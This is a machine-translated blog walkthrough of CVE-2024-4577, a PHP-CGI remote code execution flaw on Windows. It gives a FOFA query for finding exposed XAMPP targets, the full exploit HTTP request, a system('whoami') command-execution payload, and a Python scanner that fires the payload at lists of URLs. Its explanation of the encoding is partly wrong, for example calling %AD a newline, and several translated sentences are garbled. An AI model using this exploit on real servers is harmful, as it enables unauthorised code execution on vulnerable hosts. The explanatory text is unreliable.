Condivisione della tecnologia

[Ricorrenza della vulnerabilità] PHP-CGI——Best-Fit——Esecuzione del codice (CVE-2024-4577)

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

Dichiarazione di non responsabilità: questo documento o materiale di presentazione è destinato esclusivamente a scopi didattici e didattici. Qualsiasi persona o organizzazione che utilizza le informazioni contenute in questo documento per attività illegali non ha alcun collegamento con l'autore o l'editore di questo documento.


Descrizione della vulnerabilità

PHP-CGI è un'interfaccia per eseguire script PHP su un server Web, collegando l'interprete PHP al server Web tramite CGI (Common Gateway Interface). PHP è progettato per ignorare la conversione dei caratteri in WindowsBest-Fitfunzionalità, quando PHP-CGI è in esecuzione sulla piattaforma Windows e utilizza le seguenti lingue (cinese semplificato 936/cinese tradizionale 950/giapponese 932, ecc.), l'aggressore può creare richieste dannose per aggirare la patch CVE-2012-1823 , in modo che l'aggressore possa bypassare la patch CVE-2012-1823 senza effettuare l'accesso. esecuzione di codice PHP arbitrario.

Ricorrenza della vulnerabilità

1) Raccolta delle informazioni
fofa:app="XAMPP"
Inserisci qui la descrizione dell'immagine
Siamo un gruppo di disgraziati che lottano sempre contro il pericolo e la follia, ma siamo anche guardiani.
Inserisci qui la descrizione dell'immagine
2) Costruire il pacchetto dati

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host:ip

<?php echo "hello world!";?>
  • 1
  • 2
  • 3
  • 4

Spiegazione del codice:

/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
  • 1

Questo payload è un vettore di attacco PHP Remote Command Execution (RCE) con codifica URL che sfrutta le opzioni di configurazione CGI PHP per ottenere l'esecuzione di codice in modalità remota. Di seguito è riportata una spiegazione dettagliata del carico utile:

  1. /php-cgi/php-cgi.exe:

    • Questo è il percorso richiesto, che punta al file eseguibile PHP CGIphp-cgi.exe . PHP CGI è un interprete PHP indipendente dal server Web, generalmente utilizzato sulla riga di comando o eseguito come script CGI.
  2. Codifica dell'URL:

    • %ADè un carattere di nuova riganUna forma di codifica URL, generalmente utilizzata per inserire caratteri di fine riga negli URL, che in alcuni casi può essere utilizzata per ignorare il filtraggio dell'input.
    • %3d=Modulo di codifica URL, utilizzato per assegnare valori alle variabili.
  3. ?%ADd+cgi.force_redirect%3d0:

    • Prova a impostare quicgi.force_redirect Un valore pari a 0 disabilita il comportamento di reindirizzamento di PHP CGI. Questo viene in genere utilizzato per impedire a uno script PHP di passare automaticamente all'URL richiesto originale dopo l'esecuzione.
  4. +%ADd+cgi.redirect_status_env:

    • Questa parte potrebbe essere l'impostazionecgi.redirect_status_env , è una direttiva nella configurazione PHP che viene utilizzata quando PHP viene eseguito come processo CGI o FastCGI. .
  5. +allow_url_include%3d1:

    • Imposta quiallow_url_include Un valore pari a 1 consente agli script PHP di includere file da URL. Si tratta di un potenziale rischio per la sicurezza poiché consente a un utente malintenzionato di includere file remoti tramite il percorso del file passato nell'URL.
  6. +auto_prepend_file%3dphp://input:

    • impostareauto_prepend_fileperphp://input . Questa opzione di configurazione consente l'inclusione automatica di un file prima di eseguire lo script PHP.Quando impostato suphp://input , conterrà i dati inviati tramite richiesta HTTP POST. Questo può essere utilizzato per eseguire codice PHP arbitrario, poiché un utente malintenzionato può inviare codice dannoso tramite una richiesta POST.

Costruendo questo payload, l'aggressore tenta di sfruttare le opzioni di configurazione CGI di PHP per eseguire codice remoto.IMPOSTANDOallow_url_includeEauto_prepend_file, un utente malintenzionato può inviare una richiesta POST contenente codice PHP, che verrà eseguito automaticamente.

Inserisci qui la descrizione dell'immagine
ecohello world, il codice viene analizzato.
3) Si possono eseguire anche altre operazioni
Esecuzione di un ordine

<?php system('whoami');?>
  • 1

Inserisci qui la descrizione dell'immagine
Attenzione: migliaia di persone non fanno cose illegali! ! !

strumenti di prova

polvere di polvere

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 导入requests库,用于发送HTTP请求
import requests
# 导入argparse库,用于处理命令行参数
import argparse
# 从requests.exceptions导入RequestException,用于捕获请求异常
from requests.exceptions import RequestException
# 从urllib3.exceptions导入InsecureRequestWarning,用于禁用不安全请求警告
from urllib3.exceptions import InsecureRequestWarning

# 打印颜色控制字符
# 打印颜色
RED = '033[91m'
RESET = '033[0m'

# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    """
    检查给定URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。
    
    :param url: 待检查的URL字符串
    """
    try:
        # 构造攻击URL,利用漏洞进行尝试
        attack_url = url.rstrip('/') + "//php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
        # 设置请求头信息
        headers = {
            'User-Agent': 'curl/8.3.0',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        # 设置请求体数据
        payload = "<?php echo '666666';?>"
        # 向服务器发送请求
        response = requests.post(attack_url, headers=headers, data=payload, verify=False, timeout=10)
        # 检查响应,如果状态码为200且响应体包含特定字符串,则判断为存在漏洞
        if response.status_code == 200 and '666666' in response.text:
            print(f"{RED}URL [{url}] 存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。{RESET}")
        else:
            print(f"URL [{url}] 未发现漏洞。")
    except RequestException as e:
        # 如果请求过程中发生异常,打印异常信息
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口。
    
    解析命令行参数,根据参数执行漏洞检查。
    """
    # 创建命令行参数解析器
    parser = argparse.ArgumentParser(description='检查目标URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。')
    # 添加URL参数,指定目标URL
    parser.add_argument('-u', '--url', help='指定目标URL')
    # 添加文件参数,指定包含多个URL的文本文件
    parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果指定了URL参数
    if args.url:
        # 如果URL未以http://或https://开头,则添加http://
        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
        # 调用漏洞检查函数
        check_vulnerability(args.url)
    # 如果指定了文件参数
    elif args.file:
        # 打开文件,读取每行作为URL进行检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 处理URL,确保其以http://或https://开头
                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
                # 调用漏洞检查函数
                check_vulnerability(url)

if __name__ == '__main__':
    main()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82

Esegui screenshot
Inserisci qui la descrizione dell'immagine


Il piccolo loto ha appena rivelato i suoi angoli acuti e su di esso si è già posata una libellula.